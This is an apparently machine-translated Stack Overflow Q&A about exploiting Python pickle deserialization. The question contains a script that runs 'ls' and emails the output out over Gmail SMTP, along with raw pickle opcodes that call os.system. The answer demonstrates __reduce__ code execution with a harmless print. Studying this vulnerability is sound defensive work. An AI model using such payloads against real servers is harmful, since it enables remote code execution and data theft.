泡菜开发

Bat*_*man 4 python exploit pickle

我有一个将pickle文件发送到服务器的任务,该服务器会取消发送给它的任何内容.我的计划是让它给我发回电子邮件给我打印出的ls命令.我有这个文件:

import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
Run Code Online (Sandbox Code Playgroud)

如何让服务器运行它?我想发送一个文件,如:

cos
system
(S''
tR.
Run Code Online (Sandbox Code Playgroud)

用''中的python脚本.

我想的是:

cos
system
(S'python\n import smptlib\n ...'
tR.
Run Code Online (Sandbox Code Playgroud)

但它不执行命令.我怎样才能让它执行python?

我试过自己的电脑,python发送电子邮件很好.

tim*_*geb 9

做任何你想要在__reduce__方法中做的友好.请不要做坏事.

import pickle

class Friendly(object):
    def __reduce__(self):
        return (friendly, ('executing friendly code',))

def friendly(x):
    print x

pickle.dump(Friendly(), open('pickled', 'w'))
print 'loading ...'
pickle.load(open('pickled'))
Run Code Online (Sandbox Code Playgroud)

- >

$ python friendly.py
loading ...
执行友好代码

  • 当你声称它是友好的时,它似乎更加恶意(: (4认同)
  • 哈哈!这不是批评 (2认同)
  • 我不明白这将如何运作。这是否会尝试在服务器上寻找“友好”功能,并且在很可能找不到之后引发“AttributeError”?即使服务器的 unpickling 程序中恰好定义了“friendly”函数,“Friendly”对象也会调用该函数而不是漏洞利用程序。 (2认同)